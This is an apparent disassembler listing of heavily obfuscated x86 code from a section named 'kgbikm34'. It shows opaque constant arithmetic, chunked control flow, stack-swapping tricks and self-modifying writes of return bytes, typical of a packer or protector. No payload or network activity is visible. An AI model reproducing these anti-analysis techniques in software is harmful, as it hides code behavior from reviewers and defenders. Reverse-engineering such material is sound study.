; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_44A8BD:				; CODE XREF: sub_44A80D-11A9Bj
					; kgbikm34:00438D84j
		rol	edx, 14h
		or	edx, 0B2062FFh
		sub	edx, 6E18F0AAh
		jnb	loc_447DBB

loc_44A8D2:				; CODE XREF: kgbikm34:loc_4371B7j
		cmp	ebp, esi
		jmp	loc_44222D
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_44A8D9:				; CODE XREF: sub_44D21F:loc_43C423j
		mov	[ecx], eax
		pop	ecx
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_43F35C
		jmp	loc_44DC9D
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
		adc	ebp, 1892A319h
		jmp	sub_44E250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_44A8F8:				; CODE XREF: sub_43BF6F+6j
		push	0A29560E5h
		pop	edx
		xor	edx, 0E29502E8h
		add	edx, 0C043AD37h
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_440F3B
		jmp	loc_43A0DB
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------

loc_44A919:				; CODE XREF: kgbikm34:loc_43FA4Aj
		jnz	loc_43D854
		sub	edi, 3E335DD8h
		jmp	loc_43D852
; ---------------------------------------------------------------------------
		test	edx, eax
		jmp	loc_441CBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44A931:				; CODE XREF: sub_44649E:loc_44A58Dj
		mov	eax, esi
		add	ebp, 8ED1A5A3h
		jbe	loc_44BF71
		jmp	loc_44051E
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_44A944:				; CODE XREF: kgbikm34:00445C25j
					; kgbikm34:loc_4492D5j
		rol	edx, 6
		add	edx, 4E6ACA21h
		xchg	edx, [esp]
		jmp	loc_43E382
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44527A

loc_44A955:				; CODE XREF: sub_44527A:loc_44CFFEj
		jz	loc_443F8C
		jmp	loc_440202
; END OF FUNCTION CHUNK	FOR sub_44527A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C99B

loc_44A960:				; CODE XREF: sub_43C99B:loc_4413CCj
		add	ebx, 165E7E0Fh
		xchg	ebx, [esp+4+var_4]
		jmp	sub_44B47A
; END OF FUNCTION CHUNK	FOR sub_43C99B
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_444748
		jmp	loc_43FC89

; =============== S U B	R O U T	I N E =======================================



sub_44A987	proc near		; CODE XREF: kgbikm34:loc_439564j
					; kgbikm34:0043D88Bj ...

; FUNCTION CHUNK AT 00445ED7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446AB3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00447C3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D6F3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044DDE0 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_43BF6F

loc_44A990:				; CODE XREF: sub_43BF6F:loc_43EB56j
		push	edx
		jmp	loc_44DDE0
sub_44A987	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	edi, 0B67DDD55h
		jmp	loc_43A2F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_44A9A1:				; CODE XREF: sub_443DF0:loc_441610j
					; sub_443DF0-27D6j
		add	eax, 0B1EE2621h
		push	edi
		pushf
		push	6B416F06h
		pop	edi
		xor	edi, 6697CEA7h
		jmp	loc_444433
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------

loc_44A9BA:				; CODE XREF: kgbikm34:0043F9F0j
		pop	ebx

; =============== S U B	R O U T	I N E =======================================



sub_44A9BB	proc near		; CODE XREF: kgbikm34:00437136p

; FUNCTION CHUNK AT 0043B006 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044DCC6 SIZE 00000008 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jnz	loc_43A0A3
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_44DCC6
sub_44A9BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44A9D8	proc near		; CODE XREF: sub_4371A1+3j
					; sub_4466A3:loc_438FA8j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437A9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004383E5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00438723 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A525 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B53B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E87A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00441FE0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044484C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445B70 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449983 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CC46 SIZE 0000001D BYTES

		call	sub_43CF41

loc_44A9DD:				; CODE XREF: sub_449D78:loc_439861j
					; sub_44074C+14j
		mov	eax, offset dword_43BD9C
		push	edx
		mov	edx, edi
		xchg	edx, [esp+0]
		jmp	loc_438723
sub_44A9D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44A9ED:				; CODE XREF: kgbikm34:00438D1Aj
		add	eax, 6B940FC2h

; =============== S U B	R O U T	I N E =======================================



sub_44A9F3	proc near		; CODE XREF: kgbikm34:00449364p
		xchg	ecx, [esp+0]
sub_44A9F3	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44C093

loc_44A9F6:				; CODE XREF: sub_44C093-5196j
		pop	ecx
		push	eax
		push	7DFCE76Fh
		pop	eax
		rol	eax, 1Ah
		jmp	loc_441B00
; END OF FUNCTION CHUNK	FOR sub_44C093
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_44AA06:				; CODE XREF: sub_439852:loc_443E34j
		call	sub_443DF0
		mov	eax, 0F2B89A19h
		call	sub_43BF6F
		push	esi
		mov	esi, edx
		xchg	esi, [esp+4+var_4]
		push	0C274AFAFh
		jmp	loc_44C90D
; END OF FUNCTION CHUNK	FOR sub_439852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_44AA25:				; CODE XREF: sub_448C95:loc_43BD71j
		jg	loc_449989
		xchg	edx, [ebp+0]
		mov	[esi], eax
		sub	ebp, ebx
		ror	ebp, 0Eh
; END OF FUNCTION CHUNK	FOR sub_448C95
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_44AA35:				; CODE XREF: sub_43B0B7:loc_44382Cj
		jmp	loc_43746D
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E1C

loc_44AA3A:				; CODE XREF: sub_441E1C:loc_44BFDAj
		xor	eax, 0CF4B4F0Eh
		or	eax, 82B7117Ch
		add	eax, 0F7F8E128h
		push	ebx

loc_44AA4D:				; CODE XREF: sub_43C167:loc_449C90j
		jmp	loc_4448FE
; END OF FUNCTION CHUNK	FOR sub_441E1C
; ---------------------------------------------------------------------------

loc_44AA52:				; CODE XREF: kgbikm34:loc_44C826j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_340

; =============== S U B	R O U T	I N E =======================================



sub_44AA5A	proc near		; CODE XREF: sub_40FF63+47p
					; kgbikm34:004443DAj
					; DATA XREF: ...

; FUNCTION CHUNK AT 0043DDD8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E4D9 SIZE 00000005 BYTES

		call	sub_43A2FF

loc_44AA5F:				; CODE XREF: kgbikm34:004485CEj
		jmp	loc_43DDD8
sub_44AA5A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44AA64:				; CODE XREF: kgbikm34:0043FCD9j
		jmp	loc_4498AA
; ---------------------------------------------------------------------------

loc_44AA69:				; CODE XREF: kgbikm34:loc_43EC01j
					; kgbikm34:0043EC0Aj
		add	eax, 0DB378DE3h
		add	eax, ebp
		add	eax, 22520D07h
		mov	eax, [eax]
		add	eax, 0E3079D80h
		push	edx
		push	0DC17F78h
		pop	edx
		jmp	loc_438E3A
; ---------------------------------------------------------------------------

loc_44AA8B:				; CODE XREF: kgbikm34:00446F30j
		pop	ecx
		mov	dword ptr [ebp-20h], 0FFFFFFFFh
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44AA93:				; CODE XREF: sub_439587+CD41j
		jns	loc_4486A5
		cmp	dword ptr [ebp-20h], 0
		jge	loc_44915C
		jmp	loc_438CBB
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_44AAA8:				; CODE XREF: kgbikm34:00448ABEj
					; sub_4394EB:loc_449C32j
		jnz	loc_43E9B5

loc_44AAAE:				; CODE XREF: kgbikm34:00444CB1j
		jmp	sub_43C7C6
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
		shr	ecx, 1Eh
		jmp	loc_43B4AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43717F

loc_44AABB:				; CODE XREF: sub_43717F:loc_449C5Dj
		xchg	ebx, [esp+0]
		jmp	loc_44786F
; END OF FUNCTION CHUNK	FOR sub_43717F
; ---------------------------------------------------------------------------
		push	754EA227h
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		or	eax, 46DE1E3Eh
		sub	eax, 96BC8CD1h
		jmp	loc_447C35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44AADF:				; CODE XREF: sub_446F79-32F9j
		push	ecx
		rol	ebp, 11h
		jmp	loc_44DE8A
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
		add	ebp, 49E22809h
		jmp	sub_44A89F
; ---------------------------------------------------------------------------

loc_44AAF3:				; CODE XREF: kgbikm34:004495DBj
		js	loc_4463E1
		test	ebp, ebx
		jmp	loc_445BA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_44AB00:				; CODE XREF: sub_44B6E1+Bj
		jnz	loc_44E11C
		mov	eax, [esp+4+var_4]
		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+0]
		mov	ebp, edx
		jmp	loc_437339
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------

loc_44AB16:				; CODE XREF: kgbikm34:0044101Cj
		or	edi, ecx

loc_44AB18:				; CODE XREF: kgbikm34:0043F098j
		test	esi, 0A9107C12h
		jmp	loc_43DA92
; ---------------------------------------------------------------------------

loc_44AB23:				; CODE XREF: kgbikm34:00437217j
		call	sub_4371A9
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_44AB28:				; CODE XREF: sub_43B0B7+E65Ej
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------

loc_44AB2D:				; CODE XREF: kgbikm34:0043C49Dj
		jmp	sub_43BF6F

; =============== S U B	R O U T	I N E =======================================



sub_44AB32	proc near		; DATA XREF: sub_438796+E8C3o

; FUNCTION CHUNK AT 0043FF78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004460EA SIZE 00000008 BYTES

		push	ebx
		push	8EE226E9h
		pop	ebx
		rol	ebx, 4
		xor	ebx, ds:4000FAh
		sub	ebx, 4C4DD778h
		or	ebx, 0CCB379E8h
		add	ebx, 219099E1h
		jmp	loc_43FF78
sub_44AB32	endp

; ---------------------------------------------------------------------------
		shr	ebp, 2
		jmp	sub_43DC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481F3

loc_44AB61:				; CODE XREF: sub_4481F3-E4FAj
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		call	sub_441728

loc_44AB6F:				; CODE XREF: kgbikm34:0043C6B8j
					; kgbikm34:loc_43EEC6j
		or	eax, 0B5E96BE1h
		sub	eax, 32857A8Dh
		add	eax, 0C4B86428h
		add	eax, ebp
		jmp	loc_43E14E
; END OF FUNCTION CHUNK	FOR sub_4481F3
; ---------------------------------------------------------------------------
		rol	edi, 1
		jmp	loc_44114E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_44AB8F:				; CODE XREF: sub_43E4C0:loc_43954Aj
					; kgbikm34:0043955Fj
		rol	ebx, 16h
		xor	ebx, 88CCA229h
		add	ebx, 451DE7BAh
		xor	eax, ebx
		pop	ebx
		ror	eax, 1Bh
		mov	edx, [esp+4+var_4]
		call	sub_4432EF

loc_44ABAC:				; CODE XREF: sub_4432C3+21j
		jmp	sub_4487F2
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F99

loc_44ABB1:				; CODE XREF: sub_440F99+9j
		jmp	loc_43A5D7
; END OF FUNCTION CHUNK	FOR sub_440F99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC06

loc_44ABB6:				; CODE XREF: sub_43DC06+Ej
		jmp	loc_43B353
; END OF FUNCTION CHUNK	FOR sub_43DC06

; =============== S U B	R O U T	I N E =======================================



sub_44ABBB	proc near		; CODE XREF: sub_43C7C6+3p
					; kgbikm34:0043EF26j

; FUNCTION CHUNK AT 00439FBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440047 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004441B9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C696 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax

loc_44ABC5:				; CODE XREF: sub_439274:loc_43AC29j
		call	nullsub_5
		jmp	loc_439FBD
sub_44ABBB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44ABCF:				; CODE XREF: kgbikm34:loc_4491E9j
		mov	ebp, esi
		xchg	ebp, [esp]
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_44ABD4:				; CODE XREF: sub_43EB8F:loc_43FA38j
		push	50B6840Ah
		push	offset loc_4475CE
		jmp	nullsub_148
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------
		jnz	loc_445005
		jmp	loc_439BD8
; ---------------------------------------------------------------------------

loc_44ABEE:				; CODE XREF: kgbikm34:loc_4478A3j
		jl	loc_44D28B
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_44ABF4:				; CODE XREF: sub_443DF0-376Dj
		jmp	loc_441610
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_4415A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_44ABFF:				; CODE XREF: kgbikm34:0043956Fj
					; sub_449D59:loc_43A5B1j
		sub	eax, 29DA5BC4h
		jnz	loc_438681

loc_44AC0B:				; CODE XREF: kgbikm34:004445F5j
		jmp	nullsub_152
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_44AC10:				; CODE XREF: sub_44B6E1-8DA2j
		jmp	loc_43FE4A
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
		jge	nullsub_309
		push	64228DB7h
		jmp	loc_438676
; ---------------------------------------------------------------------------

loc_44AC25:				; CODE XREF: kgbikm34:loc_4492D0j
		jnz	loc_440BF0
		jmp	loc_439FDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C9C

loc_44AC30:				; CODE XREF: sub_438C9C:loc_44209Dj
		rol	eax, 7
		or	eax, 5FACE332h
		and	eax, 6A322AB3h
		add	eax, 96126F99h
		jmp	loc_445E7C
; END OF FUNCTION CHUNK	FOR sub_438C9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44AC4A:				; CODE XREF: sub_440E0B-DC9j
		jz	loc_43D3B5
		jmp	loc_445339
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------

loc_44AC55:				; DATA XREF: sub_4438B7:loc_43D5E7o
		push	21B1C409h
		pop	eax
		and	eax, 7E856C7Ah
		or	eax, 5C1AF2F1h
		and	eax, 32D5BC9Dh
		rol	eax, 0Fh
		jmp	loc_442782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CA

loc_44AC75:				; CODE XREF: sub_4416CA+8j
		call	sub_43FD86
		mov	eax, 0D59435E2h
		call	sub_43BF6F
		mov	ds:off_41E070, eax
		lea	eax, sub_44720A
		jmp	loc_43D202
; END OF FUNCTION CHUNK	FOR sub_4416CA
; ---------------------------------------------------------------------------

loc_44AC95:				; CODE XREF: kgbikm34:0044BED8j
		jo	loc_44C413
		mov	eax, [esp]
		push	edx
		call	sub_43A4CE
		mov	eax, 3FFC3041h
		push	edx
		push	0A6B64BECh
		jmp	loc_4465F6
; ---------------------------------------------------------------------------
		jmp	loc_40E692
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437D8

loc_44ACB9:				; CODE XREF: sub_4437D8+A18Fj
		jmp	loc_440234
; END OF FUNCTION CHUNK	FOR sub_4437D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	ebp, esp
		jz	loc_449762
		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_193
		call	sub_43A4BD
; START	OF FUNCTION CHUNK FOR sub_43E83D

loc_44ACD5:				; CODE XREF: sub_43E83D+10j
		jmp	sub_44DC8B
; END OF FUNCTION CHUNK	FOR sub_43E83D
; ---------------------------------------------------------------------------
		jmp	ds:off_41E214
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437ABD

loc_44ACE0:				; CODE XREF: sub_437ABD+8C1Fj
					; sub_447135+4597j ...
		jz	loc_43D0F9

loc_44ACE6:				; CODE XREF: kgbikm34:loc_445E29j
		pop	edx
		mov	eax, [esp+0]
		call	sub_441F15
		or	eax, esi
		jmp	sub_43FA2B
; END OF FUNCTION CHUNK	FOR sub_437ABD

; =============== S U B	R O U T	I N E =======================================



sub_44ACF6	proc near		; DATA XREF: sub_4479B1+1E38o
		pop	edi
		push	edi
		pushf
		push	1FAED12Fh
		pop	edi
		and	edi, 0B406E62h
		call	sub_43F0A5
sub_44ACF6	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44AD0A:				; CODE XREF: sub_44649E-DC1j
		jmp	loc_444B08
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

locret_44AD0F:				; CODE XREF: kgbikm34:loc_443E72j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_44AD10	proc near		; CODE XREF: sub_44AD10:loc_43FD15j
					; sub_43F65B:loc_442F30j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B695 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FD15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004454CD SIZE 00000016 BYTES

		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		jno	loc_4454DB
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_43B695
sub_44AD10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4464FC

loc_44AD25:				; CODE XREF: sub_4464FC-9564j
		lea	eax, sub_4438B7
		push	offset loc_44777F
		jmp	nullsub_368
; END OF FUNCTION CHUNK	FOR sub_4464FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D043

loc_44AD35:				; CODE XREF: sub_44D043:loc_439BA3j
		call	nullsub_5
		call	sub_44B8A2

loc_44AD3F:				; CODE XREF: kgbikm34:0043AC96j
		jmp	loc_43E1A4
; END OF FUNCTION CHUNK	FOR sub_44D043
; ---------------------------------------------------------------------------

loc_44AD44:				; CODE XREF: kgbikm34:0044A614j
		mov	byte ptr [eax],	0C3h
		jmp	loc_437869
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440841

loc_44AD4C:				; CODE XREF: sub_440841:loc_4449F9j
		pop	edx
		call	sub_43F200

loc_44AD52:				; CODE XREF: sub_43CF41+10C66j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_440841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A111

loc_44AD56:				; CODE XREF: sub_44A111+1F5Fj
		jmp	loc_44C8A5
; END OF FUNCTION CHUNK	FOR sub_44A111
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_44AD5B:				; CODE XREF: sub_43D045+6j
		jmp	loc_447C1E
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_44AD60:				; CODE XREF: sub_44114F-5C80j
		jmp	sub_44A9D8
; END OF FUNCTION CHUNK	FOR sub_44114F

; =============== S U B	R O U T	I N E =======================================



sub_44AD65	proc near		; CODE XREF: sub_442340-8078p
					; kgbikm34:loc_43DCD3j	...
		mov	dword ptr [eax], 0
		retn
sub_44AD65	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_44AD6C:				; CODE XREF: sub_43F5F7-6F55j
		adc	edx, ebp
		jmp	loc_444B79
; END OF FUNCTION CHUNK	FOR sub_43F5F7

; =============== S U B	R O U T	I N E =======================================



sub_44AD73	proc near		; DATA XREF: sub_44744C-A4CDo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00444F67 SIZE 00000019 BYTES

		push	93AF191Eh
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		pop	ebp
		xor	edx, 69DD0F42h
		or	edx, ds:4000F3h
		jmp	loc_444F67
sub_44AD73	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_44AD8F:				; CODE XREF: sub_44D9CE-13D7Bj
		test	ebp, edx
		jmp	loc_44DD7F
; END OF FUNCTION CHUNK	FOR sub_44D9CE
; ---------------------------------------------------------------------------

loc_44AD96:				; CODE XREF: kgbikm34:0043B254j
		jz	loc_4375E7
		jmp	loc_43A647
; ---------------------------------------------------------------------------

loc_44ADA1:				; DATA XREF: kgbikm34:0043D7E0o
		mov	ds:off_41E0AC, eax
		lea	eax, loc_43DE85
		call	sub_44BEAD
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44ADB2:				; CODE XREF: sub_449F77+1383j
		jmp	loc_4444E2
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449893

loc_44ADB7:				; CODE XREF: sub_449893+12j
		jmp	loc_443350
; END OF FUNCTION CHUNK	FOR sub_449893
; ---------------------------------------------------------------------------

loc_44ADBC:				; CODE XREF: kgbikm34:004442EFj
		jns	loc_43F1C3

; =============== S U B	R O U T	I N E =======================================



sub_44ADC2	proc near		; CODE XREF: sub_43DFA4:loc_44570Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439C60 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043BD1B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043D2CB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043F014 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043F95D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004401BA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00445FA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044651A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447FA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044CAF9 SIZE 00000022 BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		jnb	loc_44651A
		lea	eax, [ebp-12Dh]
		push	edi
		jmp	loc_43D2CB
sub_44ADC2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_44ADD8:				; CODE XREF: sub_44D21F:loc_444EF0j
		pop	edx
		push	edx
		mov	edx, ecx
		xchg	edx, [esp+0]
		push	8096EA33h
		jmp	loc_437772
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44ADE9:				; CODE XREF: sub_444A5E:loc_44D5BFj
		mov	ecx, [ebx+3Ch]
		call	sub_437ACB
		push	0D44EADAEh
		jmp	loc_43E958
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_44ADFB:				; CODE XREF: sub_4471A4+Dj
		jnz	loc_43FBE4
		jmp	loc_43CFE6
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44AE06:				; CODE XREF: sub_440E0B+D002j
		add	edx, ebp
		add	edx, 4F1A2A29h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_44CD37
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
		or	edx, 0CCF76757h
		test	ebx, 976CA6C2h
		jmp	loc_44366F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F6D0

loc_44AE28:				; CODE XREF: sub_43F6D0:loc_442B85j
		push	offset loc_439E82

loc_44AE2D:				; CODE XREF: kgbikm34:loc_44C0F6j
		jmp	nullsub_203
; END OF FUNCTION CHUNK	FOR sub_43F6D0
; ---------------------------------------------------------------------------

loc_44AE32:				; CODE XREF: kgbikm34:00444186j
		call	sub_44A406

loc_44AE37:				; CODE XREF: kgbikm34:loc_43D957j
		rol	ecx, 0Eh
		push	offset loc_449670
		jmp	loc_4397D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_44AE44:				; CODE XREF: sub_444681+4668j
		mov	al, [eax]
		jnb	loc_445C59

loc_44AE4C:				; CODE XREF: kgbikm34:loc_4414BDj
		sub	al, 99h
		push	36EE8F8Dh
		pop	edx
		add	edx, 0BACCC7Dh
		and	edx, 4AD08583h
		xor	edx, 0BF3B30BEh
		jmp	loc_43DAC6
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------

loc_44AE6B:				; CODE XREF: kgbikm34:00447BB9j
		push	2AE03428h
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44AE70:				; CODE XREF: sub_43C55C:loc_447B9Ej
		add	ecx, 793242ABh
		push	offset loc_44CC2E
		jmp	nullsub_168
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
		push	offset loc_4412B9
		jmp	locret_447F65
; ---------------------------------------------------------------------------

loc_44AE8A:				; CODE XREF: kgbikm34:loc_4385A6j
		mov	[esi], eax
		pop	esi
		lea	eax, loc_442BA7
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D77F
; ---------------------------------------------------------------------------

loc_44AE9B:				; CODE XREF: kgbikm34:loc_441329j
		pop	edx
		mov	eax, [esp]
		push	edx
		jmp	loc_44078C
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_447EE0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_377. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_44AEAD:				; CODE XREF: sub_44772C+9j
		jmp	loc_446108
; END OF FUNCTION CHUNK	FOR sub_44772C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440CD

loc_44AEB2:				; CODE XREF: sub_4440CD:loc_448652j
		mov	eax, 276E7523h
		push	esi
		push	27A272F0h
		pop	esi
		jmp	loc_43D2C1
; END OF FUNCTION CHUNK	FOR sub_4440CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441711

loc_44AEC3:				; CODE XREF: sub_44649E:loc_442066j
					; sub_441711:loc_4445FBj
		or	eax, eax
		jnz	loc_44B248

loc_44AECB:				; CODE XREF: kgbikm34:0044469Ej
		push	offset sub_43D3E6
		jmp	nullsub_158
; END OF FUNCTION CHUNK	FOR sub_441711

; =============== S U B	R O U T	I N E =======================================



sub_44AED5	proc near		; DATA XREF: sub_4418C2-6FAEo
		mov	edx, 0A22F8A70h
		push	offset loc_44B1B0
		jmp	nullsub_200
sub_44AED5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_44AEE4:				; CODE XREF: sub_43FF32:loc_4432FEj
		add	eax, 0A5C56C4Bh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44BB0D

loc_44AEF5:				; CODE XREF: kgbikm34:loc_43CC8Fj
		jmp	loc_442FCB
